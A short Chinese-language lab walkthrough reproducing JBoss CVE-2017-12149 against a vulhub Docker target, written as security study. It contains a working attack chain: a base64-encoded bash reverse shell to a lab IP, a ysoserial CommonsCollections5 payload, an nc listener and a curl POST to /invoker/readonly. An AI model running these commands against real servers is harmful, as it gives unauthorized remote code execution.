JBoss反序列化漏洞复现 CVE-2017-12149

1.准备:

1.1复现环境

漏洞环境：vulnhub靶场

工具准备：ysoserial

1.2环境启动

进入vulnhub目录下的jboss目录，进入CVE-2017-12149目录

cd /home/hbesljx/vulhub/jboss/CVE-2017-12149

docker-compoe启动漏洞环境

docker-compose up -d

访问靶机的8080端口。出现如下即为开启成功！

2.概念说明

JBoss是什么

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

3.漏洞原理

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

该漏洞出现在`/invoker/readonly`请求中，服务器将用户提交的POST内容进行了Java反序列化。

4.漏洞复现

4.1 编写bash反弹连接的命令

即我们通过反序列化漏洞让靶机执行这条命令

bash -i >& /dev/tcp/192.168.133.130/4444 0>&1

由于Runtime.getRuntime().exec()不能使用管道符等bash需要的方法，因此我们对这个bash命令进行base64编码，再让bash输出base64解码后的命令。就实现了命令执行。

base64加密后让bash输出

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMy4xMzAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'

4.2 使用ysoserial生成payload

使用ysoserial生成包含我们写的bash命令的payload文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMy4xMzAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

4.3 kali监听本机4444端口

nc -l -p 4444

4.4 发送POC

生成好的POC即为poc.ser，将这个文件作为POST Body发送至/invoker/readonly即可。

curl 192.168.133.140:8080/invoker/readonly --data-binary @poc.ser

连接成功！